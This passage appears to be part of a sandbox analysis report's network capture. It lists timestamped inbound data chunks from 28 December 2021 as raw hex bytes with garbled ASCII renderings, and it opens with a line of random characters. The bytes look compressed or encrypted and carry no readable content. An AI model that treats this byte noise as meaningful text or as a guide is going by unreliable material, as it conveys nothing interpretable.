H{#kiiKm'bB.&TmQSeK##_-wkyWugq)3+'+m.DakA#{]Um_d2L~HJ"$Rw'Mos^'oM0Tu\D8EE+Wd,0uh8I.#W0,WOc[JZ.0gRS$6
2021-12-28 04:19:41 UTC	4124	IN	Data Raw: fe bd 1f b1 d4 ca bc 4c 24 58 bb 2b 01 20 45 1f 9f 9c 80 c2 b0 cd c9 f0 aa bc 3c 68 90 f2 b9 5f 6f 56 a4 4c 21 ed 70 9c 1e f7 82 d6 95 b6 99 ba 4e f4 65 c7 64 c2 d3 08 f6 db bc 91 39 ce b5 6f ac b5 ea 9b 2f ac 2c d6 98 cb 57 4d 98 03 fc c6 27 fa 48 6c 9a 40 8a 32 29 34 c4 50 95 e5 f0 5f d6 81 87 e9 c8 17 5d 6f e5 af 41 e0 b7 13 49 36 d4 d1 f3 34 e8 d1 c3 30 8e 83 ec 42 b0 ea 5f a8 f8 80 cb 5b b5 c2 33 16 83 f1 e9 5d ca 6f 0b 00 ca be 4a 97 98 69 a9 18 66 99 79 32 ae 74 bb 9e fc ff a0 41 af 24 d6 7b f9 80 55 df f1 6c 2f 70 53 fe ba 9b 79 31 8f b6 74 13 3a d0 38 bc a4 6e f6 4d 7a 6e 34 98 2f b5 6d 14 90 82 31 88 e8 d8 71 44 dd 2a 59 e3 c7 98 0e 7c 84 f5 91 a3 93 2b 4e c4 d5 66 52 3b f0 9d 8a 59 fe 71 8f d4 f6 03 69 eb e6 77 71 7d d3 4a be e7 70 a9 1e 21 c2 Data Ascii: L$X+ E<h_oVL!pNed9o/,WM'Hl@2)4P_]oAI640B_[3]oJify2tA${Ul/pSy1t:8nMzn4/m1qD*Y\|+NfR;Yqiwq}Jp!
2021-12-28 04:19:41 UTC	4140	IN	Data Raw: d0 d9 3b 48 df c8 8c af d3 90 85 7f 56 f2 57 8d f6 3b af 3e 00 81 a2 fe 63 83 1b ad f6 27 6b 92 54 95 28 c4 de 33 27 ba 7f 8d db 4d 45 74 72 e8 43 a5 c2 7a 23 fb 31 a5 25 05 7f 00 a7 0e b5 ba d8 8e 9e 45 08 99 a9 c7 69 34 cf c8 c6 46 29 a9 bb 98 d9 c9 22 8b 9d 77 c8 45 c2 9b 46 25 26 71 35 26 10 fa 49 62 a0 eb c6 38 f1 38 cc 90 48 2f 4a 67 9a 38 69 9c 4c 6b 59 b6 df da 40 61 5c 77 24 23 48 ea 31 7e 00 1d 6d 8c d7 d7 b2 bf 63 ed 97 26 11 46 80 2e ba 43 f5 4f e5 36 93 f3 79 db 4b 7a 9d c7 7a 72 3e 00 7f 7d ec 10 5b a1 9a b2 8f 4d 4f fb 39 e7 74 3b 87 c0 40 d0 95 82 38 ed b5 55 b8 29 19 5a 4a eb 42 ba 27 d4 f6 cb 2a 7a 1a 33 02 36 c6 30 b9 e9 4f 04 5e d0 77 9c b4 07 51 37 6a 9b 4f 6a 8b a7 9e 67 f5 8f fa 1f fa 3a 38 c9 62 80 26 05 f0 69 81 2a 26 77 9c c1 f5 Data Ascii: ;HVW;>c'kT(3'MEtrCz#1%Ei4F)"wEF%&q5&Ib88H/Jg8iLkY@a\w$#H1~mc&F.CO6yKzzr>}[MO9t;@8U)ZJB'z360O^wQ7jOjg:8b&i&w
2021-12-28 04:19:41 UTC	4156	IN	Data Raw: a5 39 26 ec 6f 42 4d 80 30 6a c7 41 7c 2d 27 4a e7 20 d4 45 ff be 8c 54 1f 93 0b 3d 67 62 14 ac 73 63 7e 67 0b 5d 3c 7c 7c f2 2b d4 6c b2 a7 a6 ed 74 ba e3 77 0c f0 58 f9 0d 84 b3 f7 8b 34 4b c1 58 91 ca a8 2b ac 31 1e bd 39 82 c9 f7 0d 33 61 9f 6f e8 b1 db 8f 9a 8a 53 77 df bc 36 85 e8 a7 99 73 2b 10 9f 45 06 9a cb 1e a3 04 28 67 ea c3 9e 19 21 06 07 5c 2c 6f a0 6d e8 24 27 18 21 99 0c e3 9a 6d d0 2c b6 56 bb 50 90 55 3a 6f d4 58 70 67 e0 b7 b0 e8 33 bb 38 a9 9e fc d4 35 43 52 8f 98 de 28 fc c8 c0 78 4e b2 e4 60 22 dc 78 98 19 80 b6 c6 52 f1 02 e8 73 96 0d 1b bc c7 fe 97 99 3f 50 61 aa 37 6b 73 6e 7c 91 df e5 5d 94 ea 5e c3 d1 03 87 fb 21 26 dd 1f 09 d6 0f db 90 41 2d d6 7f c5 a3 7d 44 4b bb ef df dc 60 c7 41 42 f2 a3 f9 e6 99 bd bf e0 29 0a 84 08 c3 3b Data Ascii: 9&oBM0jA\|-'J ET=gbsc~g]<\|\|+ltwX4KX+193aoSw6s+E(g!\,om$'!m,VPU:oXpg385CR(xN`"xRs?Pa7ksn\|]^!&A-}DK`AB);
2021-12-28 04:19:41 UTC	4172	IN	Data Raw: 8b d2 75 dd e4 63 3a 3f 27 9d 71 fe 99 1b aa a9 a2 93 07 9a 86 84 1b 7b 8e d1 7d 1e 2c ad 5c fc 5c cf a5 9f 53 c8 b7 37 15 6c 03 32 7d f0 fa de 3e e8 b6 c4 f6 a8 3c 54 88 2a b9 69 8f 05 75 7e 3c 41 f4 12 0c f4 68 b2 89 a2 47 90 2b 79 c3 4e e9 fb d7 02 2e a4 10 35 e3 50 b0 cd 75 2c e6 1e c0 73 50 d2 8a 30 f9 9c 6b 14 33 a7 18 db c3 41 bd 6f ac d7 f5 52 c8 76 b6 45 5a db 86 b9 67 e9 64 dd c2 32 f1 63 49 f4 a6 f7 1e be 39 7d 7f a1 6b d6 6d 1c 38 9f 76 d2 84 e4 70 ec 85 c4 f6 ac c7 50 19 95 71 45 28 10 28 dd d6 23 e5 a3 fe cd dc ee a3 9a 59 00 ca 08 fd 60 a1 a0 02 b4 1a 38 02 7e 00 61 1d 5f 8a 34 5e 60 8e 89 8b ca 6a 9f 49 09 53 c5 80 60 51 86 e0 90 64 42 5b 2f ac e4 af d5 d1 73 8d 7b a4 2a b7 af 27 f5 4d e5 c7 42 45 64 0c 91 e3 9f 70 87 47 9f 30 2d bd b5 73 Data Ascii: uc:?'q{},\\S7l2}><Tiu~<AhG+yN.5Pu,sP0k3AoRvEZgd2cI9}km8vpPqE((#Y`8~a_4^`jIS`QdB[/s{'MBEdpG0-s
2021-12-28 04:19:41 UTC	4188	IN	Data Raw: fe 34 43 ec ad 76 6d b2 3e d8 b0 4b 51 64 ff 45 3c be b5 67 39 d8 a8 c4 8f d8 c0 d8 15 7c b5 0f fa 6e 93 92 40 8d 2c 80 ad 69 74 2c 1e 6e 4b f4 c2 fe b6 80 d2 a1 d1 94 54 82 c2 ca c9 04 2c 80 2c b9 9f 39 e1 2b f1 cd 04 60 af 50 c9 88 13 c6 f2 12 cf 60 78 bc 81 e0 97 68 37 dc 39 a2 6a c7 62 9e 93 a3 25 6b 30 be 74 77 38 b2 19 03 54 d2 9c 89 df 85 55 d5 34 f3 8a 6d ce 81 72 9f 92 24 2c 95 4a 24 8b 8d 93 c0 b3 cc 53 cc 4b 06 21 72 34 fa ce 74 36 b7 ec 4a 97 85 e1 27 95 f2 5a cc 03 20 bd 7a 71 5f 04 ce 2d 09 6c d5 29 be f8 ec 9f 6c a8 bf 12 d1 56 a4 34 18 d0 98 ed 79 3e 4b 42 fe f2 8e 3d 5a 39 9d e5 d1 02 b4 74 b7 f5 64 6b 43 0b 3d 50 4d 67 5c 9f 39 b6 02 55 47 d8 e0 49 70 ad a9 b3 ba b1 56 9d 32 f4 74 34 36 4c 71 b3 a3 33 d3 5d 62 2b 2f f0 2f 9f 02 a9 7b 7d Data Ascii: 4Cvm>KQdE<g9\|n@,it,nKT,,9+`P`xh79jb%k0tw8TU4mr$,J$SK!r4t6J'Z zq_-l)lV4y>KB=Z9tdkC=PMg\9UGIpV2t46Lq3]b+//{}
2021-12-28 04:19:41 UTC	4204	IN	Data Raw: 1a 57 ce 15 81 1e f0 3d a7 ee 71 87 92 d8 c5 a6 ba 12 56 e0 8d 1f 9d 08 40 44 9d ae a6 63 30 8b 23 34 8f 58 16 18 45 8a 2d b7 e2 54 73 e6 2e 59 55 ea 15 f2 33 82 22 ba d0 f6 17 7b 93 be 27 3c 62 f3 7d 47 0e cb b2 13 08 e8 48 7b c2 cc bf c3 2f a7 e6 b0 ed 40 8c 25 41 40 e1 84 33 22 b8 eb 3f f4 33 82 4e 92 71 55 bb 3a e5 74 3a 46 49 61 3a 0b 43 95 41 96 25 33 37 b3 d4 b7 af ed 1b fb 4d 8c e2 60 9e d9 19 e5 35 b4 d3 e8 2d c0 79 71 0c 56 d3 5d dc a4 6f 4c 52 a0 34 e1 5b 98 db 2f 04 a9 3e 17 8e 05 24 65 7a 32 0d dc 1b 56 7d 2e fe c5 fe ba 3c 4c fb fd 95 64 c4 48 37 32 e8 47 54 25 01 dd e1 1d 85 81 6b b9 85 2d e4 1f 7f 3f ac 70 91 bb 3d e6 df d6 4d 89 37 9c 69 4f 5b 58 5a 6f 3e 7f 42 40 c4 06 f1 73 50 90 55 1d 51 5f 33 1a cc 86 e1 b5 97 89 06 aa 6f 5a 2e ec 4d Data Ascii: W=qV@Dc0#4XE-Ts.YU3"{'<b}GH{/@%A@3"?3NqU:t:FIa:CA%37M`5-yqV]oLR4[/>$ez2V}.<LdH72GT%k-?p=M7iO[XZo>B@sPUQ_3oZ.M
2021-12-28 04:19:41 UTC	4220	IN	Data Raw: a4 40 ff f5 5e 6d 1d 0d f5 2b c9 39 40 cb de 33 ba a5 0d 1c a2 be 26 bb 4c 27 93 63 53 5e 02 5c 1f 81 ee bb bd 71 f9 3d 39 ee ed 68 29 ec 40 90 d9 89 b9 a6 4c 9f b1 0a d1 08 da 8a 9c e7 71 1e 81 01 54 4a 9f 45 14 b5 2c 28 8d ef 70 b3 c2 1c 89 de ae b3 d3 93 a6 61 8d a2 a3 c4 29 f9 3e 09 f9 af f6 12 02 b6 1e 64 ec 21 3d 73 9f 89 13 50 c7 cd 64 61 87 15 b3 4b ee a4 31 ef 51 e2 98 06 79 8e 64 35 cb 4a c9 54 a7 c3 d4 70 b0 f0 1f f9 d4 99 93 7f 56 4d 60 96 ad b2 3e d1 de c6 c0 77 e4 9a e7 b5 77 12 8a 37 d1 9c 07 7f e2 7e 77 ee 25 ff 2d 49 d3 8d 82 44 5b 22 44 28 ea ae a0 35 b4 2b 6b bb 09 98 cd 7c 98 4b 93 fe 95 c1 60 65 c2 02 3c c0 71 a3 dd ec c4 2c 70 40 6a 30 30 0b 60 2e f4 e9 72 8f 50 96 42 f9 d6 b8 5f 72 ad 0a f9 61 e9 31 c3 38 b5 61 65 91 23 20 20 93 38 Data Ascii: @^m+9@3&L'cS^\q=9h)@LqTJE,(pa)>d!=sPdaK1Qyd5JTpVM`>ww7~w%-ID["D(5+k\|K`e<q,p@j00`.rPB_ra18ae# 8
2021-12-28 04:19:41 UTC	4236	IN	Data Raw: f8 2d f9 19 45 a8 4e 1a b1 79 8e dd 38 8f 7b a6 b0 1b 07 1d 18 c7 a2 c0 1c 4a 93 70 3e 60 ed 88 75 5e 28 dd e1 b4 63 35 a8 a4 a7 85 be dc da ec eb 39 af 3b 99 d8 b4 e5 18 15 ab 27 47 b5 cb e0 9c c6 49 2a 54 f2 80 30 56 36 c8 a7 1b 87 f9 c0 9e ac 88 b2 e2 c3 fe b7 99 31 3c 71 b9 23 e9 0e 73 5f 07 f1 af 11 8c c2 91 32 17 b1 26 b0 35 2e 21 d1 05 dd 4a bc fd eb e0 77 02 79 47 fc 84 ee 25 84 8d 15 91 c7 a7 89 9f 8d 8c ea 4f f5 f5 36 0e 47 b0 52 aa 35 e0 33 a6 b8 50 55 12 19 88 75 4c 9c 2d 3a 49 0e 39 15 95 80 11 70 b6 a8 97 68 44 94 6b b8 de 1a 65 b1 0c bc d1 f6 e6 55 89 59 3c ed 42 c1 ca 0b f5 74 62 9d 44 83 6f f1 d7 af 49 b4 0b 71 d3 fd d7 70 16 fd ef ac 49 83 10 f3 d8 bd cc 2f 93 03 99 d1 63 28 03 dd 1e e6 fc c3 04 50 32 f9 b8 51 36 28 98 97 07 f7 39 79 91 Data Ascii: -ENy8{Jp>`u^(c59;'GI*T0V61<q#s_2&5.!JwyG%O6GR53PUuL-:I9phDkeUY<BtbDoIqpI/c(P2Q6(9y
2021-12-28 04:19:41 UTC	4252	IN	Data Raw: e4 b6 ca a2 a0 ef e2 ec a8 ee 5a 45 c4 04 1d 06 c2 a8 50 e2 ee f1 a3 4e 01 84 d3 42 ab d5 3a 30 9d 87 7a f7 b3 b1 cd 61 35 06 ef e1 68 84 4b 1a b8 44 3a 30 f2 c2 02 5d 5e 53 76 34 34 d5 55 ff 3a d1 4c eb 15 cb a7 77 59 38 48 c5 ff 15 f6 c8 60 2d 37 13 a9 c4 e2 6a 51 6f 50 bc b4 e6 c3 a3 f8 fb 7a 17 62 de 49 1b ae 09 a3 91 28 aa 79 c6 52 79 37 e3 a2 cf 13 87 6d 33 4f 3a 11 ff e0 e5 dc a7 0b 2c 14 94 29 c7 85 2d ab d2 ec 11 d3 c1 08 90 f5 f4 74 5f 70 3e 26 6e 5f 4e 96 d0 5e 44 d0 ba 7b 18 76 d1 17 9e 8d 3a c2 e3 51 b3 3c a6 bd 33 12 27 3f df d6 0d 11 12 2c d6 95 02 99 87 41 44 d9 f4 94 d4 2f ff 71 e6 02 29 6e 61 b2 2b eb c8 f0 34 94 4f 2b 33 80 f3 3b f2 88 e1 59 0a 1c ea ec ae 84 b1 72 83 80 0b c2 d0 80 72 db 47 ee db 2f 03 54 86 bc 8b 0d 39 83 98 ad a4 72 Data Ascii: ZEPNB:0za5hKD:0]^Sv44U:LwY8H`-7jQoPzbI(yRy7m3O:,)-t_p>&n_N^D{v:Q<3'?,AD/q)na+4O+3;YrrG/T9r
2021-12-28 04:19:41 UTC	4268	IN	Data Raw: 02 9f 0d 05 52 0c 05 92 bc 8a 7d 17 bd 0f 9b 3f 71 73 77 1a 6d 5f 59 ae c2 e8 a3 f9 e8 59 c1 80 b9 1a 74 13 bf 4d c8 9f f6 d0 08 cc fd 99 48 ed 0e c3 1e 5a ea 1c ee 7a ff 6e 0f 5b ac de b7 3c ea 9f 02 3b cf 18 05 34 7f ae da a9 3e f5 b9 16 ac 47 7b 48 96 06 49 03 55 67 a0 d7 6a 0f 20 78 48 5e 2c eb f5 f0 0a ff c9 28 6a a8 e4 d7 11 20 93 dd 77 42 fe 37 78 5b 17 74 37 3f 29 fe 23 d7 6f 4a 1f 65 02 26 15 89 b9 d3 53 4a f5 f9 65 35 41 01 c3 0b 59 d2 08 e3 e7 4e 49 82 cb c4 50 8b 45 d0 74 2c 42 50 ea 1d 35 16 77 5d c8 99 60 82 20 07 c4 b8 1f d2 b3 97 1d 9f f6 40 e5 8c a0 7b 5b 83 cd 11 9b cd 97 d1 42 29 7e e5 ad b4 3a 28 ed 2c b5 26 72 50 07 dd 0f 1a 51 7b a1 f4 5b 8e a1 c9 e9 49 b7 0d ca 10 6b 6e 80 43 3c e6 00 7e b5 3d 63 d3 da 4d cf ff 0f 9b b1 27 d2 5e bc Data Ascii: R}?qswm_YYtMHZzn[<;4>G{HIUgj xH^,(j wB7x[t7?)#oJe&SJe5AYNIPEt,BP5w]` @{[B)~:(,&rPQ{[IknC<~=cM'^
2021-12-28 04:19:41 UTC	4284	IN	Data Raw: b5 5c 11 dd fb ec a0 d6 2c e2 cb c2 2d 9b 29 fc 55 3a 6b 31 3b 3d 43 90 a6 8f d5 11 d5 e9 62 f5 c0 57 5b de 00 e9 5a 0c 7f 0b 9b 28 25 74 bd 0c dc 60 14 81 f2 86 fc 8b e4 f1 82 b8 24 7b f2 ec f4 f5 6b f4 53 20 0e ef ae 0a 4c f0 4c 2d 64 e5 48 b5 46 4c b5 18 eb 30 70 1c 78 d7 58 57 bf 88 d5 68 b9 c4 cd 0c 57 e2 82 44 43 36 ef f1 c7 75 5b 36 bd 70 15 7a a5 13 19 fb 6c 97 cd e2 d5 49 3d 0d af ef ab 6f c8 ff a4 70 af 65 9d 16 61 64 08 20 e6 e0 d9 ca 57 2b 11 7f 45 66 22 3e f1 bc c8 69 83 c1 12 66 a7 cc dc 03 ab de 30 dd 93 37 6d 62 d6 39 c5 64 d4 8e 2b 2c 17 5d 79 92 1d c8 15 a4 66 f6 02 d6 b5 8f 2a b7 cb 73 55 31 07 ab e9 f4 c2 73 30 4f 88 9d 88 43 61 58 f2 2b d4 7c ec e9 f4 da b4 7a c4 0a f3 0b 86 7a f4 05 f1 0b 63 ff e6 a7 3a c4 8f ff ba 5f 6c 4b 8a 27 82 Data Ascii: \,-)U:k1;=CbW[Z(%t`${kS LL-dHFL0pxXWhWDC6u[6pzlI=opead W+Ef">if07mb9d+,]yf*sU1s0OCaX+\|zzc:_lK'
2021-12-28 04:19:41 UTC	4300	IN	Data Raw: 8b e8 a1 0f 5d 7e 00 de 14 b8 f1 c2 c5 03 c7 0f 40 c8 3b fe 60 0f 8c 83 1c 0b 58 d7 9f 00 63 bd fd 31 f8 75 38 00 6c e0 13 29 05 36 53 12 0f 79 01 99 7d 63 0f 8d 4c b8 e1 49 16 ea 1f 00 29 86 f2 f7 18 e9 ae 14 00 33 d8 f6 25 03 02 ea 28 0e a6 d3 01 9e 81 d4 ba fb 90 d8 06 1b 2e 8b dd 54 00 5d 94 fe 1e 89 74 00 3e a7 f5 52 35 53 3c 48 4c a9 d7 26 aa a0 00 e4 67 b2 2e 7d c5 00 23 7c 53 e5 c2 4d 68 b5 00 15 f7 8f 0e 2a 18 28 a4 5c 14 82 00 35 19 7a 84 50 01 cd f2 21 00 1d c1 25 32 1c 04 0b f0 00 89 75 a0 d7 e9 69 c7 dd 2c 1a ca 87 00 df 22 b1 4d 49 78 00 c2 68 7f 5f 59 e4 06 3b f2 9a 00 12 7d 0e b1 83 f1 da 49 00 e0 89 e5 eb 2c 32 9e 93 0e 87 53 24 d1 40 0e 40 ac c7 35 17 48 d8 d3 00 8d 34 f5 49 e2 3c 00 29 7c 4f 2e 72 56 21 32 00 41 0c d8 ca fa a0 b0 7a 00 Data Ascii: ]~@;`Xc1u8l)6Sy}cLI)3%(.T]t>R5S<HL&g.}#\|SMh*(\5zP!%2ui,"MIxh_Y;}I,2S$@@5H4I<)\|O.rV!2Az
2021-12-28 04:19:41 UTC	4316	IN	Data Raw: 42 00 50 bb 70 83 7d fc 00 bf 40 28 fb 06 91 0a be 2c 8d b8 4a 00 99 42 ef eb 93 10 00 e2 80 11 b3 7f c5 a2 86 0f 2c 08 44 e3 80 90 82 fe 81 cf 00 38 88 a6 fb ff 94 69 8a 00 0c f7 10 a5 0f a3 2c 05 76 18 00 89 73 16 57 13 a1 22 9f fa da 00 41 72 ad 2d 4f 30 17 80 3e 39 c2 82 8b ea 1a 73 78 40 2d 0c bf 50 08 a2 3c 00 4d 75 07 87 fb 48 51 02 1d b0 4e 71 2c 0d 00 82 35 de 60 39 38 00 0f 30 87 43 83 8a 80 70 75 90 00 c3 8e 24 85 a9 5e 0f 54 00 2d 05 99 03 0d c2 16 70 39 0e 86 8f 0b 26 0c a1 6a 0a 02 06 db a1 04 07 61 0f c4 09 40 7d 01 00 a6 91 c3 7a e9 38 bc 87 02 36 8c 10 64 65 09 60 57 f7 88 00 9e 8d 08 9a 8e 11 cb 22 00 fc 20 31 8f 44 62 cf 40 00 90 2d cc 69 43 09 59 88 98 8d 1e 2e 8b 77 80 b2 0e b7 12 56 ae 76 26 00 17 23 24 ad b4 4a b9 9e 07 7a c1 f1 8b Data Ascii: BPp}@(,JB,D8i,vsW"Ar-O0>9sx@-P<MuHQNq,5`980Cpu$^T-p9&ja@}z86de`W" 1Db@-iCY.wVv&#$Jz
2021-12-28 04:19:41 UTC	4332	IN	Data Raw: 28 a9 e8 27 18 0f 17 35 80 3e 61 64 5e 1a 2e f3 90 f5 48 2d 00 1c 76 d5 92 19 ad 83 6a 06 1e c3 90 8b 3a 9a 1c 67 3f 4a 80 5b 45 b7 ef 9b 4b 7a e7 e8 51 cf 09 57 02 3c 0c 18 c0 97 08 1c 19 39 c0 20 0f 24 02 28 24 2c 08 30 90 34 22 38 7e 3c 7f e0 fc fa 1e 1f 77 02 81 31 c9 e8 17 f0 cc c2 57 07 89 7b c1 74 c0 00 cf f7 d9 83 00 e1 07 29 ca 98 c3 10 8d 50 e6 d1 1c 0b 03 32 18 09 75 80 32 48 0f 91 0c 79 22 03 44 06 88 76 47 c8 a8 05 10 04 00 7e 81 02 03 01 fb 07 9a b0 a2 e8 08 00 e2 f0 c1 e9 24 e6 59 ac 06 0a 33 2d 4f 45 4a 00 43 44 40 3d 8a b1 2b 5f f6 84 00 fb 23 e4 ca a1 c6 f7 6b 7b a9 00 18 75 25 6e 5b 76 7b e3 0e 1d 83 f9 10 73 fe 00 b5 f2 7a 24 3e c6 00 40 9f e9 7c 5d c8 b1 27 00 77 ed 57 97 f4 04 09 89 00 5c 84 6d 32 e4 65 0d ea 00 e0 f6 01 63 c1 30 85 Data Ascii: ('5>ad^.H-vj:g?J[EKzQW<9 $($,04"8~<w1W{t)P2u2Hy"DvG~$Y3-OEJCD@=+_#k{u%n[v{sz$>@\|]'wW\m2ec0
2021-12-28 04:19:41 UTC	4348	IN	Data Raw: 1c aa b2 55 00 34 29 33 c9 0b a7 71 24 00 25 54 14 5a 77 5b eb 41 02 88 55 ff 7b 98 c7 5d 00 c4 37 a3 f4 d6 00 be cc a2 2c c6 0e 80 7d 3d dc 9d 80 fa 54 4a c3 ae d9 10 00 2e ac 0c a4 ba b6 5c c9 1c 08 d6 53 81 9f 42 d8 57 70 f8 bf ed 00 e5 af 71 34 85 c7 43 08 00 16 63 b8 3e 50 07 8d 22 00 83 90 97 f1 21 84 73 8e 7c 01 12 43 10 d5 00 4a 0d ea 28 a8 03 00 17 ff 50 20 fd 7c 52 2e 00 5b e2 72 2f 5e 71 ac ea fa 9a 00 d0 ff 7d d4 6b 4d 1d cb ee db 03 5d ec 40 a9 34 59 88 35 6f ed 00 e4 cc d8 75 7b 90 23 27 00 e7 3f fd 04 d7 a9 4a b8 00 85 40 2b c7 99 3b 09 55 1c 0c 75 07 81 d8 77 02 44 eb cc 7f 40 00 b9 a0 16 cf 8d 54 3b 6a 00 10 a6 45 ab ce 14 04 2f 00 c5 01 c6 67 38 aa d9 05 00 11 53 0c 63 0e 29 31 82 1e 19 92 eb 80 49 39 7e c5 c2 26 00 3c 2c fb 05 23 2a c7 Data Ascii: U4)3q$%TZw[AU{]7,}=TJ.\SBWpq4Cc>P"!s\|CJ(P \|R.[r/^q}kM]@4Y5ou{#'?J@+;UuwD@T;jE/g8Sc)1I9~&<,#*
2021-12-28 04:19:41 UTC	4364	IN	Data Raw: 93 cf a4 26 21 79 01 aa 3c dc bd 39 73 fb c0 c2 6b 03 f5 ac 47 77 e5 6e 00 c8 ba 20 0e 90 ec c8 9b 00 8d 09 01 3a 46 5c 41 15 07 c5 fa dc 7e 51 00 dd e3 18 8c 0e 44 77 d1 16 00 b1 62 bf a7 3f 07 35 e1 f0 fa d5 02 59 97 c0 ad cd 0c f2 9f 90 99 00 22 b9 ce 80 56 33 7b 8d 70 aa 00 a3 9b ec 7d f1 d5 17 52 50 e2 fb 84 0f b6 6a 7e a6 09 19 00 1f 0b 57 45 a4 03 85 9a 42 7d 73 99 00 7c 24 aa b5 f1 0a 94 4f 0e fc 22 71 d1 00 02 fe 40 57 68 f4 1f 1c 23 74 01 00 f2 0f 19 87 50 70 00 38 56 03 ca ae b7 99 80 07 e8 d0 90 ff 6b 00 2b e7 7c c3 0e b0 ec b1 c0 00 87 36 a8 af 47 00 f9 6a 8c 26 99 d5 76 03 00 43 7c 04 f4 d7 70 46 38 38 2d 63 00 3e 25 e7 1e 47 f3 c8 75 bf 1e d7 d3 8e 00 4a 92 86 c0 3b 9d b8 14 38 75 a1 00 0c 25 b8 31 af 07 57 00 48 17 ce 92 52 ae 1c e9 90 74 Data Ascii: &!y<9skGwn :F\A~QDwb?5Y"V3{p}RPj~WEB}s\|$O"q@Wh#tPp8Vk+\|6Gj&vC\|pF88-c>%GuJ;8u%1WHRt
2021-12-28 04:19:41 UTC	4380	IN	Data Raw: 97 fd ff 86 ed 34 0e 4f cd 1d 59 c0 ec a2 25 c3 5d 26 df e7 56 00 66 0f bb fe 49 fa 00 da 1b 7d 0c 99 60 3a 6d 05 1f 58 30 5f 73 c0 f9 54 11 c6 13 7a 24 02 02 6b dd 0b 5a 40 1b 16 5e 00 94 70 e8 53 58 6e 40 d9 12 48 c2 2f 03 91 f1 89 f8 f7 60 4e 5a b0 2b 02 a7 24 87 77 0b e2 e0 29 41 05 02 c6 61 b9 64 b1 18 e0 4d 3f 0a 07 c3 77 5f fd 92 b0 c5 4c 06 5e 3e f0 ae 80 6a d8 94 fa 51 82 69 3a 4a 33 82 57 d2 fd 5a b5 f5 e0 9d ed 8b 0e 40 9c dc b8 c0 a5 11 ae fe 4a 00 45 64 68 3d 2e 6c e8 80 39 85 44 80 39 28 a1 c5 81 e0 c9 71 86 7e 7c 06 b8 ac 8d a6 37 54 72 a2 07 1c aa cf 57 54 e0 72 76 cc 77 00 a7 95 fd 27 65 cd fe 21 b0 c0 71 5e 00 90 3e dc 17 74 7d 8a 05 0f 3c 88 ad 6b 80 b0 f7 bb bc 5f 1e db cf 62 40 14 57 12 da b2 11 03 ca 02 8b 93 cd d1 9b 15 e0 01 89 fe Data Ascii: 4OY%]&VfI}`:mX0_sTz$kZ@^pSXn@H/`NZ+$w)AadM?w_L^>jQi:J3WZ@JEdh=.l9D9(q~\|7TrWTrvw'e!q^>t}<k_b@W
2021-12-28 04:19:41 UTC	4396	IN	Data Raw: ed f8 81 01 02 c6 18 32 11 80 2d 40 e0 62 4c 08 00 76 8e 44 8a f2 c4 09 3d a0 e2 8c a8 1e 14 64 05 40 19 54 59 29 90 81 1f 79 c0 5b 40 24 8b 93 2d 7c 15 98 be 76 13 7c bd 07 48 86 77 91 a9 e7 de af 20 3c 2c 29 f0 40 0f 58 20 16 a5 40 d2 97 68 86 f7 38 73 0a 80 05 7a 76 19 eb 28 3e 60 5f 30 b3 7c ac a7 1e 52 09 07 40 16 4f 1e 50 21 72 30 97 14 c6 f4 82 6d 1c 7c 60 74 52 0e 00 0c 1e 91 2e 0a 3e 00 eb 50 8c d4 56 80 65 ed 03 5e 3c f5 f1 d6 33 00 98 89 db 2c ac b8 e3 ad 03 4d 92 b1 ea 12 c1 a0 36 ec 7f 00 6a b2 62 eb 58 cd 0a 3a 39 2c 07 cf ac 14 78 7d 24 1d 33 c9 f8 00 5d a0 11 c8 16 87 1e 10 4c 88 c0 79 3b 5e 22 25 2a 2e 8a d1 80 12 07 00 b7 42 17 c8 f0 52 00 55 e5 fd 97 13 9a 0a c2 00 5b 62 5e e4 bc 5a 49 e9 09 84 5f d9 04 00 d9 20 34 38 1d 17 36 44 58 00 Data Ascii: 2-@bLvD=d@TY)y[@$-\|v\|Hw <,)@X @h8szv(>`_0\|R@OP!r0m\|`tR.>PVe^<3,M6jbX:9,x}$3]Ly;^"%*.BRU[b^ZI_ 486DX
2021-12-28 04:19:41 UTC	4412	IN	Data Raw: db 7a 00 d9 ca 4f 88 23 0c 6e a9 03 c9 1e da d2 83 79 a0 3c f7 b4 00 8e 0d 93 12 50 af e3 44 f2 ef 00 d5 e7 3a f3 4a bf 8b 47 00 92 3f 35 89 41 9d 16 e9 01 a4 be c7 dd d0 2a fe f8 4d 93 3e 2f 38 00 fa ec 1c f2 f8 45 2c 02 64 13 af b8 28 ad 60 28 f9 32 30 4a e9 0c bd a6 27 4c 74 15 3b 8c 75 00 96 bf cf 1c 21 71 91 13 18 dd a5 32 d2 92 d7 07 f9 1f d2 59 2e 31 be e2 96 d4 fc 94 00 89 e9 ef 02 32 24 93 c5 00 2a eb 5f cd 20 fa 4f 66 60 cb 0f 49 c6 6b d3 00 de 8a 6e 4b 52 05 6d 40 00 2a aa 68 14 3f f8 87 bb 00 64 f1 4f 27 9e 48 0e b5 0f 29 11 4c 8a c0 99 b3 7a 55 54 00 1a 50 1f 88 49 03 0c b9 73 79 00 8b 04 62 a9 ff d9 87 f0 3a 65 fd 17 84 cb 00 b2 63 d3 cf 98 56 00 e5 4a 1d c8 12 53 5f 29 00 fb 69 87 36 73 d7 fe da ec 56 00 b3 92 ce d4 cd 8f 74 6f 00 bc d0 af Data Ascii: zO#ny<PD:JG?5AM>/8E,d(`(20J'Lt;u!q2Y.12$_ Of`IknKRm@*h?dO'H)LzUTPIsyb:ecVJS_)i6sVto
2021-12-28 04:19:41 UTC	4428	IN	Data Raw: 4a 80 ad 95 9e 35 9c ac 70 01 a3 17 4c 38 f4 c8 1e fc 18 e2 00 2f 02 b2 0c 48 16 83 2d 01 dd 1c d5 db 57 80 40 f3 98 b8 7b 61 00 55 88 01 75 6c 58 2f a7 3b a9 63 83 42 d2 77 8a c2 e0 15 53 97 00 08 d0 73 43 04 fb 6b 03 00 0d f0 f4 4c b4 12 9d 7a 00 bd 5f 67 23 c4 29 13 17 00 9f 65 ba cc 95 1e ad 76 3c 44 eb 00 f8 1d 69 56 6a fd be 58 7f 7c 00 95 c1 0a cb 28 2f f7 00 41 21 7c cd 59 89 a0 de 00 80 3d 5a 30 c8 4d 05 08 24 e8 2b 26 00 1e 43 28 9e 4e a3 00 59 5b d4 c1 96 1f e7 e0 4e 57 f0 be ab 03 9e e4 4f ee 28 68 88 09 b6 6c 00 7f 25 8d d0 4a 86 14 a8 00 61 01 0a 6f 64 b5 e5 7c b0 ab 00 38 df d9 0f 20 81 31 2c 0a d6 f1 41 35 d2 1e 0e 40 a6 89 23 19 45 68 00 78 53 df db 33 1f a8 9e 1e 92 c8 ed c7 5d 97 f7 07 21 c0 c2 2c 6d 34 76 42 60 a1 